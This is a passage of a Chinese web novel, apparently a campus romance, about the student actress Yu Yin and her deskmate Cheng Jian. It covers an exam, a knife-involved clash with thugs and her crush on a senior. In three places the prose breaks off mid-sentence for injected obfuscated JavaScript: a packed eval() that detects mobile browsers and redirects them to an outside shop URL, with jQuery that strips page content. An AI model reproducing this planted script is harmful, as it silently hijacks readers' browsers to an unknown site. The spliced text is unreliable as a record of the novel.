余音清了清嗓子,笑着解释:“忍到明天早上就好了,没关系。” 只剩最后一块青石板,就在余音即将走进屋檐下,落在石板的前脚掌毫无征兆地打滑,慌乱间,她比旁边撑伞的人先一步伸手。 她的两只手死死抓着程简的胳膊,刚才为了寻找重心的脚掌正踩在他的白色球鞋上。 她回过神来,立刻松开手,侧身抬脚跳进屋檐下。 “对不起,我不是故意的。” 她向程简道歉,意外发现他的脸颊被张贴在墙上的励志标语染红。 程简没低头去看白色鞋面上清晰的黑色脚印,反而把目光转向别处:“没事,没摔就行。” 从教学楼底到教室座位,两人没说过一句话,一前一后地走着。 余音一边头疼该怎么赔偿才好,一边暗暗气恼:“真是!躲来躲去还是发生了偶像剧里才有的剧情!刚刚贴得那么近,还好她身高不够,不然都要亲上他的下巴了。最重要的是,没有被人看见。不幸中的万幸,坏消息中的好消息......” 尽管程简嘴上说着没关系,让她不用在意。 可余音每次经过他身边时总被他白鞋上的污渍吸引注意力,接着心乱如麻,坐立难安。 程简岔开两条腿坐着,被踩脏的那只脚刚好踩在她的书桌腿上,他翻着漫画书,无所谓道:“脏了就脏了,刷刷就干净了。” “但天气预报说最近半个月都下雨。”余音拧着眉把垂落的视线收回。 三月春雨绵长,太阳难等。 “我又不是只有这一双鞋。”程简翻一页漫画书,放在桌箱下的膝盖往她的方向伸了些。 他又说:“你这么不好意思的话就先欠着吧,以后再补。” 谁知道以后他会不会借由此事而得寸进尺,但眼下没有更好的办法。她总不能买一双新的送他,未免太小题大做。 余音抿了抿唇,就着他给的台阶暂时跳过这个话题。 放学铃声响起的时候,余音不紧不慢地从包里拿出口罩和帽子戴上。 “你家里人今天不来接你?” 余音淡淡地“嗯”了声,出于愧疚便主动问他:“要一起去地铁站吗?” 好在没下雨了,两人不用再肩挨着肩并步而行。况且站在她旁边的还有江雀和喻槐安,旁人见了总不至于单说她和程简的闲话。 经过地铁站内的广告牌,她总难为情去看屏幕里的自己,便刻意低下头,但低眼就能看见那只白中带黑的球鞋走在她旁边。 “你的鞋好脏。”江雀也注意到,指着程简的鞋。但她并不知道这是余音的手笔,不停揶揄道,“果然你还和小时候一样邋遢......” 程简不生气也不解释,反而加重脚步声,咧着嘴得意道:“你懂什么,这可是明星签名限量款。” 明星签名是指娱乐圈十八线糊咖用脚签的名吗? 余音脸颊一热,放进校服口袋里的手指也攥紧。 “哪个明星?” 江雀还在追问,程简又卖关子,死活不把脏脚印的始作俑者说出来。害得余音莫名紧张,本来是件稀松平常的小事,却在三言两语的玩笑间变成了她和程简的秘密。 她刚准备和江雀交代事情,一位陌生男人突然站定在她面前,她喉咙里的话不得已又咽了回去。 8. 喜欢她 “同学你好,我看你气质不错,想问问你有没有想法成为杂志模特?” “不用了,谢谢。” 陌生男人拦住余音的去路,手里的名片更是直接塞进了她的校服口袋,自顾自地介绍道:“我们公司培养了很多知名模特,像一些最近大火的广告......” 余音出于礼貌没有打断男人的自荐,但口罩遮住的半张脸不由得露出苦笑。 江雀察觉到她的尴尬,把即将被男人堵进角落的余音拉回自己身边,冲人直摆手:“大哥,地铁来了,我们得走了。” 余音脚下跟着江雀走,却还是忍不住回头观察男人的反应。 只见男人匆忙拿出手机对着她晃了一下,接着迈腿追上来,锲而不舍道,“你先别急着拒绝,可以回去和家长商量商量,我们公司——” 程简卡在地铁车门即将关闭时,装作十万火急又毛手毛脚的姿态把一只脚迈进地铁的男人往后拽。 男人没能说完最后一句话,只好隔着车门拼命指着她的口袋。 耳边终于安静下来,余音从口袋拿出名片,细看才发现这个公司是她之前拒绝过的。这次她戴了口罩,星探没认出来也在情理之中。 星探递来的名片对于多数人来说都新奇。名片被江雀拿去看,又在其他两人手里转了一圈。 江雀搀着余音的手肘,问:“这个公司好像是挺出名的,你不想试试吗?” “不想。”余音回答得干脆。 娱乐公司越是大,小演员的话语权几乎为没有。什么都得听别人安排,更没有自由可言。 余音想起之前这家娱乐公司的王牌经纪人对她提出的要求:要拍广告,拍杂志,在各种综艺节目上赚曝光度。最让人接受不了的是,一个未成年也要陪同经纪人和行业里的大佬吃饭喝酒。 这些话光是听,精神都受到重度重创。她只喜欢演戏,其他的没兴趣,也没精力,更瞧不上那些上不得台面的方式。 如果签了公司,那她和校园生活基本毫无关联,就更没有机会和同龄人交流。虽然以前的经历很糟糕,也一度把井绳误认成毒蛇。 但她现在的朋友很好,非常好,特别好。 * 第一次月考,因为没有参加入学考,余音被安排在最后一个考场的最后一个座位。同考场的同学们一边意外,一边毫不忌讳地议论她的出现。 “能坐在这个考场里的哪有好学生。” “装模作样在那儿翻书,生怕别人觉得她和我们一样成绩差。” “当明星的有几个学习好的,娱乐圈里不都是花瓶吗。” ...... 虽然大家说她是在作秀,但至少肯定了她的相貌,也没带脏字,往好了想,就不算辱骂。 余音内心依旧平静,继续翻着书页。 就在议论声渐大时,余音头顶的窗户突然被人从外打开,窗轨发出干涩而短促的声音,一颗毛茸茸且蓬松的脑袋探进窗内。 “有没有多带一支笔,借我一只。” 程简的出现截断了周遭纷扰的人声,大家投向余音的鄙夷目光迅速转为好奇。 考试前,余音听他说过他在哪个考场。可从他的考场走到最后一个考场要跨越三层楼梯,就为了借一支笔?明明朋友遍地,为什么非来找她? 余音心口莫名一紧,但还是依言照做,伸手把笔递给他。 在她以为程简拿了笔就会离开,一切都将恢复平静时,头顶的窗户再次发出艰涩的推拉声,紧接着是少年明亮又轻快的嗓音。 “大明星,我可等着欣赏你的满分试卷呢!” 程简的笑容灿烂无忧,仿佛能驱散开雨天里一切的阴翳和潮湿。 余音惊惶地收回视线,点点头,心里只盼着他赶紧走。 笔落在纸上的摩擦声,墙上的指针滴答作响,一圈又一圈。 也说不清楚是考前的鼓励真的奏效,还是试卷太简单,每一科考试她都是第一个走出考场的人。交卷时看着那些议论自己的同学露出惊讶神色,她内心十分快活。 而和余音几乎同时走出考场的还有喻槐安,两人在楼梯口遇上,互相点着头,颊上都挂着浅浅的微笑。一个上楼,一个下楼。 两人虽然在成绩方面互为劲敌,但余音和喻槐安能成为朋友关系的两位中间人都不在,这样的相处方式和距离对余音来说反倒刚刚好,不会太亲密又不会太生疏。 教室里的桌椅全都摆好后,程简把白天借来的笔放在她的桌上,得意说:“感觉大明星的笔都不一样。” 逮着机会就捧高她,余音还是有点不习惯,手指点了点他夹在试卷间露出的笔杆:“你不是有笔吗?” “摔了的,断水了。”他说着,把笔攥在手里,抬高了胳膊准备投进身后的垃圾桶里。 “借支笔!借支笔!” 恰好班长怀里抱着几本书从后门走进,看见自己迫切的需求就在眼前,快步走到程简身边。 班长抢过笔,利落地在书封上写自己的名字,走时还不忘感谢道,“谢啦。” 某人说起谎来脸不红心不跳,也是本事,可本事没用在正事上。 余音面朝讲台,尽量不去看程简,免得他尴尬。 程简叉开腿坐着,反复按动那支“起死回生”的签字笔,似是找补地感慨说:“真好,又省两块钱。” 穿得起限量款球鞋的人怎么会对两块钱的笔视若珍宝。 余音不由得哼笑一声,懒得拆穿他蹩脚的演技。 晚上放学,四个人刚走到校门口,江雀说自己的作业忘拿了,让三人边走边等她,她一会儿就赶上来。 三人在一家冰淇淋店门口等,等了许久都没见人影,怎么猜都觉得不对劲,又一起往校门的方向走。 没走几步,喻槐安就被地上的纸团吸引了注意力,他弯腰捡起,程简也好奇地凑上去看,惊呼道:“怎么写着江雀的名字?” 写了谁的名字自然就是谁的东西,但这张试卷出现在地上属实令人心感不安。 只见喻槐安抬腿就往不远处的小巷跑去,剩下二人看他神色慌忙又紧张,来不及弄清楚状况,也跟着喻槐安往巷子里跑。 越往里跑光线越暗,而越来越清晰的是不堪入耳的骂声。 一群染着五颜六色的小混混们同时回头,余音看清江雀愠怒的脸庞,也看见江雀捏紧的拳头正朝离她最近的男生挥去。 不知因何起的战争就此拉开序幕,站在程简身后的余音战斗力几乎为零。至少程简是这么认为的。 程简把书包摘下塞进余音的怀里,颇有大侠风范,恣意豪爽道:“别靠太近,免得误伤。” 余音怔愣住,直到程简的身影在黄毛绿毛红毛中间跑来跑去,她捏着书包肩带的指节用力到泛白。 大概是因为她自始至终都没暴露在灯光下,混混们以为只有三个人迎敌。 沦为旁观者的余音心里发紧,两只眼睛不停转动着,恨不得同时锁定三个身影的动作。 眼看着程简和江雀作为主力一个个把混混们打趴下,而喻槐安也很默契地替两人做收尾工作。 余音以为这场“战争”终于结束,暗暗松了口气。 可黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477978|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗角落中闪起的一道银亮光芒,也让余音满心惊恐,瞪大了眼睛,尖声喊:“程简,小心!” 话落半秒,程简脚踝处的校服面料的颜色在慢慢变深。 转眼间,手里拿着刀且满脸愤恨的男生又被江雀一脚踢回墙根。 这根本就不是小朋友之间的打打闹闹! 她没经历过这样的打闹,脑子有些空白。 可程简的嘴角依旧挂着笑容,脚步稳健又轻快朝她走来,仿佛一切不过是戏剧,现在是主角微笑谢幕的环节。 程简从她怀里抽出自己的书包,挎在肩上,要说什么,又被角落里的动静打断。处于下风的混混们已经恢复了七八分,开始慢慢站起。 “我打不动了!还是跑吧!”江雀有气无力地喊道。 余音还没反应过来,手腕就被一只骨节宽大且稍粗粝的手心握住。她被迫跟在程简身后,追着他的步伐。 脚下不停变换的影子始终被霓虹灯揉成一团,三月的风吹在脸上,还是那么凉。可听着大家呼哧呼哧的喘气声,不合时宜笑声,接连不断的脚步声,余音忽然也没那么怕了。 熟悉的地铁口,闪烁的红蓝灯光令人心安。 程简回头看着面颊绯红的女孩,直起腰,还有力气笑她:“我们才跑不到800米呢。” 仅存的体力和理智都告诉余音这时候稳定呼吸最重要。她大口喘气,想要抹去头顶的细汗,才注意到程简还牵着自己的手腕。 她喘气不停,便用另一只手稍大力拍响他的手背。 程简会意,马上松开,又递给她一张纸巾,笑语间透着隐隐的恐吓,“说不定以后这样的情况会常有,你以后晚上还是吃点东西吧,万一跑不动被人抓单......” 明明就是很危险的事情,怎么从他嘴里说出来就成了轻松随意的夜跑一样。 呼吸逐渐顺畅的余音定了定心神,垂眸望向他刚才流血的地方:“你受伤了,去医院看看吧。” 程简不以为意跺跺脚,“这点小伤哪用得着去医院,回去贴个创可贴就行了。” 见他脸上没有半点受伤的痛苦或狰狞,走路跑步也一切正常,三人便放下心来。 在地铁上,江雀三言两语就说明白了自己被混混围堵的原因。她几天前解救了同样遭遇的喻槐安,这些混混记仇,没抓到落单的喻槐安,就把目标转移。 而在江雀锲而不舍地对喻槐安展开的追问下,余音才知道表面寡言少语的喻槐安在初中也受了不少同学的欺负。 只因为他很小的时候父母就双亡,他本身性格内敛,而成绩好反而让那些欺负他的人多了一个记恨他的借口。 “怕什么,来一个打一个,来两个打一双!”江雀兴奋地又挥起了拳。 “也不知道是谁刚刚说自己打不动了。”程简依着车门旁边的隔板,故作不屑道,“少吹牛。” “今天是例外,光考试就已经很磨人精神气了。” “那我联系下那个绿毛,让他明天再来。” “那我一会儿就打电话告诉程主任。” ...... 解释清楚之后,四个人又回到平常的位置。江雀和程简负责耍宝,说学逗唱,而余音和喻槐安负责听的同时总忍不住偷笑。 在喻槐安和江雀一起离开前,余音看向喻槐安的眼神不自觉多了几分同情和怜爱。 她一边惋惜这么好的人怎么也会和自己一样。却不知为何有点庆幸,原来也有人和她处境一样。 等她意识到自己竟然在幸灾乐祸时,她吓了一跳,忙捂住心口,把卑劣地想法死死按住。 9. 喜欢她 临睡前,余音只要一闭上眼,明亮的刀尖划破阴暗角落的画面就不断在眼前循环。 她在床上辗转反侧许久都放心不下,看了眼时间不算太晚,拿出手机找程简的名字,编辑好文字发送出去。 【你真的没事吗?】 她刚开始估量那一刀的威力有多大,下一秒手机就弹出一条新消息。 【没事,擦破点皮而已。】 这话要是骗骗别人还行,可她亲眼目睹整个过程,他被血染深颜色的校裤,她看得清清楚楚。 可能男孩子都把“流血不流泪,有泪不轻弹”看作人生信条。既然怎么问他都说没事,还是不问了。 虽然嘴上这么说,但余音早上醒来后还是在药箱里一顿翻找,拿了消肿药膏又觉得用不上,又抓了一把创可贴,看了眼祛疤膏,觉得也能派上用场。 最后拿了袋子,零零散散装了一堆,才心满意足地走出家门。 依旧没有好天气,校门口这条坡路每到雨天就变得人群拥挤,倾盆而下的雨水顺着五颜六色的伞面随意泼溅开。 余音尽力躲避着各处而来的雨水,可躲了半天也是无用功,右边的肩头被打湿。 干脆远离人群,等人少的时候再走。余音边往屋檐下走,边收伞。 只是没想到大家的想法和她一样,才过一会儿屋檐下就站了不少人。旁边的男生总偷偷用余光打量她,余音看见了也只能装作没看见,把头朝向另一边。 屋檐下的男生越来越多,大家窃窃私语的话题也慢慢变了主角。 “我刚刚看见程简被几个人堵在巷子里,看那几个人的打扮不像是学生。” 这不是昨晚发生事情吗,怎么大家现在开始议论,余音的耳朵也警觉起来。 “他惹到外校的人了?不过他平常也没有主动惹事啊。” “我们去看看呗,看看他是不是真的惹到哪个霸王了,说不定还能帮他喊外援。” ...... 看男生们扎堆似的往小巷的地方跑,余音喉头一沉,说不出是什么滋味,但双脚也不自觉地跟着大家的方向走。 男生们个高,她站在最外圈根本看不见里面的情况,只能听见程简一贯张扬又嘹亮的嗓音。 “怎么,打不过就专挑我落单的啊!” “小子,昨晚你可没少帮那男的出手......” 从巷子里传出的一言一语格外激动,而把巷子口围住的男生们也嘁嘁喳喳说个不停,余音很难再听见程简的声音。 站了好一会儿,男生们也没表现出震惊或起哄的举动,余音便猜到程简的情况没有她想的那么糟糕,至少不像昨晚激烈。 男生们因为没看到预想的打架画面,兴致缺缺地离开。 人群散开后,余音才有空隙看见被混混挡住的程简的侧脸,他的嘴角依旧是上扬,明明寡不敌众,话语间却满是得意。 “......我现在没空,晚上我一个人对付你们绰绰有余。” “行,晚上放学我要是没找到你,那你的朋友总有落单的时候。” 程简和他们似乎是达成了单挑的约定,那群混混们便纷纷转身,朝巷子外走来。 混混头子说的话仿佛还在耳边回荡,余音怕让人得逞,紧忙打开伞混进人流中。 走到教室门口的时候,发现程简居然比自己先到,她在心中惊叹,程简不仅胆子大,脚步迈得更大。 余音正琢磨着要怎么和他说自己看见他和别人约架。 可程简和同学聊天的表情那么轻松自在,看起来根本不担心。也许他有自己的办法? 余音拉开椅子,把组织好的话全都咽回肚子里。 在她低头找出装着药的袋子时,一包手帕纸同时出现在眼前。 “你校服湿了,擦擦吧,别感冒了。”他边说边帮她抽了好几张,又整整齐齐叠在一起。 她道了声谢,接过纸巾的同时把东西递给他,“不知道你用得上哪些,所以都拿了一些。” 程简把袋子打开看了看,随即挑眉笑道:“这么贴心,谢啦。” 他没有追着问东问西,没有以这些药为由借机向同学炫耀,没有像平常一样喊她“大明星”。余音反倒有点不适应。 她用余光悄悄瞄了他一眼,没承想,被捉个正着。 “看我做什么?” “没什么。” “看我帅呗,这有什么不好承认的。” 程简又开始吊儿郎当的做派来逗她。余音虽然不理他,但心里也释然了许多。 原以为程简是觉得她帮不上忙,所以没有和她提起早晨巷子里的事情。可到课间,中午,以及各种和江雀说话的时间,程简都只字不提自己的麻烦。 他虽然平常没个正经,但也不会傻到白白送上去让人家打。而且他爸爸是学校主任,说不定程主任会帮他把这事情摆平,以合情合理、合法合规的手段。 慢慢地,余音也没那么忧心了。 * 教室和办公室并不在同一栋楼,两栋楼之间没有连廊,余音一手抱着作业,一手将滴水的雨伞伸出屋檐外抖动。准备上楼时,意外听见非常熟悉的名字,是她悄悄呢喃过许多遍的名字。 像是上天故意安排好的,在同样的雨天,同样站在屋檐下,这次他同样没带伞。 她的脑海中幻想了无数个画面,最后还是深吸一口气,整理好表情,迈出略微僵硬的双脚,内心忐忑。 “不介意的话,你们可以用我的伞。” 她觉得自己的嗓音听起来有些干哑,赶忙抿住唇,露出最得体的微笑。 男生看着她和她手里的雨伞,惊呼道:“你是余音!” 男生的肩膀被旁边的男生撞了下,余音的心也跟着颤了下。 她不敢直视那双温润但有些茫然的眼睛,便从睫毛下偷偷去看。 谭应钦的校服拉链总是在胸口到下巴的中间位置,露出长长的脖颈和白色的衬衫领口,稳重得体。 不像程简的校服总是松松垮垮地敞着,要不就是拉链拉至最顶点,往下翻折的校服领口上方是一张过分得意张扬的笑脸。 “好巧,我记得那次也是雨天,你快中考的时候。” 谭应钦垂眸看她,笑起来的时候,两侧嘴角上方现出小小的梨涡。 他还记得第一次见面。余音内心的欣喜险些从眼眶里溢出来,她故作平静地朝他点点头。 而旁边的男生全然忘记雨伞的事情,双手环在胸前,一脸八卦地打量着两人。 余音再次举起手里的雨伞,口吻过分委婉,还有点傻气:“很大雨,你看起来没带伞。” “那你自己呢?”谭应钦没有着急接。 她支吾半秒:“我......我抽屉里还有备用伞。” 谭应钦这才接过雨伞:“谢谢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477979|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我明天再还给你。” “谢谢你啦,长这么漂亮还这么热心,难怪——”男生还没说完就被谭应钦搂住肩膀,拉进伞下。 两位一米八几的男生挤在她的单人伞下,互相嫌弃又不得不勾肩搭背的画面着实搞笑。 余音看了很久才收回目光。 直到他们的背影彻底消失在视线中,她捏着作业挡住自己因为敛不住笑容而皱起的鼻子。 如果不是因为现在是下课时间,周围偶有人经过,她简直想在原地转圈,庆祝自己和照片主人再次相遇,并顺利展开一个算得上浪漫的故事开端。 回教室的这段路,余音几乎是三步并作两步,再小跳一步。 “你怎么这么久才回来?”程简替她拉开椅子,不解她拿个作业心情能这么好,自以为道,“还以为你已经习惯了满分。” “不是。”她轻轻回应,嘴角高高翘起,眼尾的一颗痣频频跳动。 “说给我也开心开心呗。” 似乎被她的好心情所感染,程简也笑了起来。可余音只是微笑拒绝:“秘密。” 程简只好把困惑咽回去,指着她桌子侧面空荡荡的位置,问:“你的伞呢?” “借给别人了。”余音从刚才的惊喜邂逅中缓过神,五官也平静许多。 “那你自己呢?” 同样的问题却是不同的人问出。 余音扭头看向窗外,没回答。 课间休息的时候,余音给前排的女生讲难题,瞥见从后门走进一位生面孔男生。 男生吊儿郎当地走向程简,擅自搭上程简的肩膀,嬉笑道:“听说你惹到外校的人了,今晚要约架?需要帮忙你招呼一声,我肯定去看热闹。” 摆明了是要看程简笑话。余音写字的手指顿住,用余光注意两人。 可程简对男生摆明来看笑话的姿态一点也不生气,侧头把肩膀上的手拍掉,表情鄙夷地笑了笑:“你连我的跟班都打不过。帮我擦鞋,倒是可以考虑考虑。” 余音皱了下眉心。她怎么不知道程简还有个跟班。 男生原本戏谑的笑容立刻消失,眼里似乎冒起火来。恰好老师出现在教室里,瞪了男生一眼,男生只好灰溜溜地离开。 趁着大家都齐刷刷翻着课本的间隙,余音的手肘往旁边的桌子挪了些,悄声道:“你什么时候多了个跟班?” 程简被她课堂开小差的举动惊讶一瞬,手指向她,“你啊。” 她什么时候成他的跟班了! 意识到程简又在开自己玩笑,余音抿住唇,瞪了他一眼,有心报复道:“你一个人打五个,难道不害怕吗?如果他们和昨天一样带刀......你的伤口应该还没恢复吧。” “你怎么知道?”程简的眼眸乍亮,接着释然似的挑了下眉,“你想听真话还是假话?” 不想被他牵着鼻子走,余音正经道:“你和程主任说了吗?” “和他说那不是找骂么,我一个人就能搞定。” 余音一边惊讶,一边不解他为什么执着要单枪匹马去应战,明明可以寻找外援。她又重复道:“你怕吗?” “有什么好怕的。” 程简扯着嘴角,但是刻意转动的眼珠骗不了人。反正骗不了她。 余音纠结了好一会儿,最后还是在老师宣布自习的下一秒立刻举手,起身从容道:“老师,我身体不太舒服,需要先回家。” 10. 喜欢她 没什么能帮的,但一点都不帮,良心上过不去。 余音站在路边,随手招了辆出租车,报了位置。 下车之后要做的第一件事情不是回家,而是直奔邻居家的院子。 刚搬来岐江那会儿爸妈忙得整天不着家。她在家无聊,常常逗弄隔壁院子的金毛犬玩。时间长了,金毛倒是黏她,听她的话,也是她在岐江结交的第一个朋友。 余音估算着从家到学校的车程要二十分钟,还是不堵车,顺畅无阻的情况。 来不及放书包,她跑到拴住大狗的木桩旁蹲下,一边拆狗链,一边柔声道:“Max,你想不想出去玩,我带你去我学校附近转转,好不好。” “汪——” 没有狗狗可以抵抗住“出去玩”三个字的诱惑,尤其是像Max这种长时间被关在园子里的狗。链子一解开,Max直摇着尾巴扑在余音的膝上。 余音揉了几下Max的头,牵着它往别墅区门口奔。 怕赶不上,她特地扒着驾驶座的靠背,急切道:“师傅,麻烦您快点。” 司机也配合,一脚油门下去,刚好赶在下课铃响起时到达校门口。 从鲜少有人经过的小花园切换到人来人往的街道,Max兴奋地在原地转起圈来,接连叫了好几声。 余音费了好大的力气把Max从烧烤小摊前拖走,用连哄带骗的招式才将Max拽进巷子里。 巷子里灯光虽暗,但挺拔的身姿剪影跃然墙壁,余音一眼就能认出来。 Max见到人就往上冲,余音一时没牵住,脚步踉跄地跟在Max后面跑。 只身走进巷子的程简见一人一狗朝自己冲来,吓得直往后退。小狗欢快的脚步声逼近,他顺着倾斜而下的光束看清余音慌乱的五官。 大狗的两只前爪扒着程简的校裤,裤腰都往下掉了几分。 他顺势弯腰揉捏着毛茸茸的耳朵,好奇:“你不是回家了吗,怎么又回来了?还把狗带来。” 余音收紧手里的链子,max乖乖回到她的腿边。 “同桌要互帮互助。我帮你找了个帮手,就当是还上次踩脏你球鞋欠下的。”她越说声音越大,仿佛这番说辞只是为了说服自己。 程简扬起下巴笑了起来:“要我说,还是大明星聪明。” 余音刚要开口,巷子外音乐传来踢踢踏踏的脚步声,肩背瞬时绷紧。 她做足了准备要和他一起面对困难,程简却快速从她手里拿过链子,按住她的肩膀一步步退回黑暗的角落,笑意不减道:“藏好啦,大明星都金贵,伤了我可赔不起。” 都这时候了,还都能笑得出来。余音暗暗怀疑,他这人是不是笑点比一般人低,而且是低很多。 没给她拒绝的机会和时间,程简牵着Max大步朝不怀好意的人群走去。 “你有病啊!打架就打架,还他妈带条狗,打不起就求个情,我心情好就放了你。”为首的绿毛男生手指着程简叫嚣着,视线却不住瞟向程简腿边的Max。 “我早上只说我一个人和你们打,它又不算人。” 虽然看不见程简的表情,但听他得意的语气,余音也能想象到他的五官多么飞扬又精彩,才会把绿毛男惹得满脸涨红,眼睛瞪得和死鱼眼一样狰狞。 Max是见人就吐舌头的人类友好型小狗。余音本来还担心Max会分不清好人和坏人,像喜欢程简一样扑上去冲混混们嬉闹。 可程简弯腰拍Max嘴巴的动作看起来力道不小,Max成功被惹怒,龇着牙大叫了两声。 程简也借此把手里的缰绳松了松,故意放Max向前走几步。 为首的男生见Max龇牙咧嘴地冲自己走来,缩着脖子后退好几步。站在他身后的男生更是怕得不行,牙齿磕绊着:“谁知道他是从哪儿牵来的狗,万一这狗有狂犬病什么的......” “是啊,狂犬疫苗得打好几针呢,好多钱。” “这狗咬人一旦咬住了,可不松口的。” 看不见程简弯腰又对Max比划了什么,只见Max猛地往男生的方向扑了过去,露出的尖牙和低吠声极具威慑力。 男生一边扭身倒着两条腿,一边指着程简大喊:“走开!啊!你给我等着,你等着——” Max作势要往男生身上扑,混混们见状拔腿就跑,头也不回。 巷子里的硝烟彻底熄灭,余音长松了一口气,起身走到程简边,定睛瞧此时蹲在程简腿边不断吐舌摇尾示好的Max。 “它为什么这么听你的话?” “小时候家里养过狗,会一点训狗的技巧。”程简蹲下奖励似的抚摸MAX的脑袋和身体,Max这下更喜欢他了。 可程简的表情看起来不是很好,拧紧的眉毛似乎很无奈又痛苦。 他把链子递给余音,“你牵着吧。” “Max很喜欢你,你不陪他多玩一会儿吗?” “心有余而力不足。”他说完,莫名其妙绕到余音的身后。 就在余音准备追问时,控制Max的链条被塞进手心里,身后传来一道咬牙切齿的哀叹:“它的尾巴总是甩在我的伤口上,好痛呢。” 余音目光下移,果然看见Max的不断摇晃的摇尾正有节奏的甩在程简受伤的脚踝处,发出沉闷但有力的声音。 “啪嗒——啪嗒——” 论狗尾巴的威力有多强,余音想,如果把程简的腿换成鼓面,那Max就是相当不错的鼓手。 而现实是程简不管躲到哪里,Max的尾巴就像开了追踪器一样跟到哪里。 “啪嗒——啪嗒——” 躲不掉的程简只好扶墙勾着受伤的脚踝,单脚站着,又急又羞地冲余音喊:“等等,你先别笑了,把它牵远一点。” 余音一手捂住嘴,一手用力把Max拉回自己身边。 在最后走到巷口时,程简忽然停住脚步,低下头与她对视,眸光清澈:“今天的事你别说出去。” “为什么?” “说出去让人笑话。”程简支吾一声,重新正色道,“总之你别说出去,就当作是我们的秘密,行不行?” 对上他诚恳而略有卑微意思的视线,余音煞有介事地抬手,伸出尾指,“好吧,秘密。” 骨节分明的手指如愿勾上尾指的瞬间,她隐约感觉到自己的心脏跳得过分快。两个人的手指松开,下一秒又过分慢。 这种感觉很不一样,很奇怪,也很陌生。 * 只隔了一天,月考的成绩就出来了,在所有人都前仆后继去看贴在黑板上的成绩表时,余音坐在座位上,连眼皮都没抬,就有人像弓箭一般飞速凑到她面前。 “你觉得自己会是第几?”程简凑到她面前,伸出五根手指,故作神秘,“我先帮你缩小范围,在这个以内。” 余音先拧紧水杯盖,接着配合地用食指轻点了下他的食指。 “你确定?你是不是忘记了还有一个长年稳居第一的喻槐安。” 余音淡定地扫了眼程简,“我等一下自己去看吧。” 见她不吃这套小把戏,程简立刻改口道:“大明星不愧是大明星,不仅是班级第一,还和喻槐安并列年级第一。也不知道你们两个的脑子怎么长得,明明大家都是上一样的课,你们这么聪明. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477980|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....” 听他叽里呱啦一顿夸,余音心里得意,但不好表现,谦虚道:“遗传啦。” “那你爸妈岂不更是天才,才有你这个小天才。”他夸奖的语气夸张到有些好笑,幸好没几个人听见。 她的父母担得起“天才”称号,世界顶尖大学毕业,创业五年就做到业内无人可替的位置,钱财名声应有尽有。而她也不失所望地完美遗传到两个天才的优点,成为程简口中的“小天才”。 “是不是只有话少的人才能当学霸?”程简前桌的男生似是玩笑,似是真心请教地看向程简眼睛里的“小天才”。 余音被这个问题难住,脑子里还在组织答案,后门忽然有男生冲她挥手,高喊道:“余音,有人找你。” “嗯?” 江雀会大摇大摆地走进教室,她才来学校几天,连班里的同学还没认全,哪有其他朋友? 余音站起身,透过窗户看见潭应钦的侧脸,心情不自觉紧张起来。 她在众人八卦的眼神中起身,经过门口时僵着嘴角和提醒她的男生道谢。 超级友好又优秀又帅气的学长突然出现,再加上余音刚刚打破大家对她“花瓶”的认知。不少同学纷纷走出教室,假装路过,也有人从窗户口探出脑袋,八卦不断。 “他们怎么会认识。” “谭应钦居然给余音送了一把伞,什么寓意?” “感觉他俩关系不一般,有内情啊。” ...... 也不知道天空是什么时候放的晴,阳光穿过树叶间隙,光斑在谭应钦的肩头跳动,他本就柔和的眉眼也被照得更加温柔和煦。 谭应钦把叠好的伞递给余音,嗓音清冽:“谢谢你。要是没有你的伞,我估计今天没办法把它物归原主。” 被人围观,余音感觉脊背有电流穿过般发麻,迟迟不敢伸手。 “那天淋雨估计要生病,托你的福,才没有难受好几天。”潭应钦笑着解释。 余音怔了一怔,立刻双手接过雨伞。因为紧张,声线也抖:“能帮上你就好。” 谭应钦轻声笑了笑,没作其他回应。短暂的安静让余音更觉尴尬,便问他:“不过,你怎么知道我的班级,我记得那天我没说。” “应该没有人不知道我们小明星在哪个班级吧,毕竟你在哪里都是一样引人注目。”谭应钦的唇角扬起好看的弧度,眸光透亮,“这次月考你是第一名,很厉害。” “谢谢。” 余音嘴上礼貌,心里在认真数着,这是他第三次和自己讲话,第二次夸赞自己。 谭应钦抬起手腕看了眼时间,接着轻拍一下她的肩膀,“快上课了,你回教室吧。” “再见。”余音匆匆点头,转身往教室后门走,手里握着的伞却紧贴着胸口。怕被人瞧出端倪,用力抿住不受控制要上扬的嘴角。 她还没坐下,程简就一脸严肃,凑近问:“你和谭应钦认识?” “只见过几次。”余音随口搪塞他。 “不熟你对他笑什么?不熟你干嘛借给他雨伞?你就一把雨伞都要借给他?” 一连串的问题抛出,程简的眉眼突然变得冷漠严厉。余音不明白他怎么忽然对她的雨伞有这么强的占有欲和掌控欲。 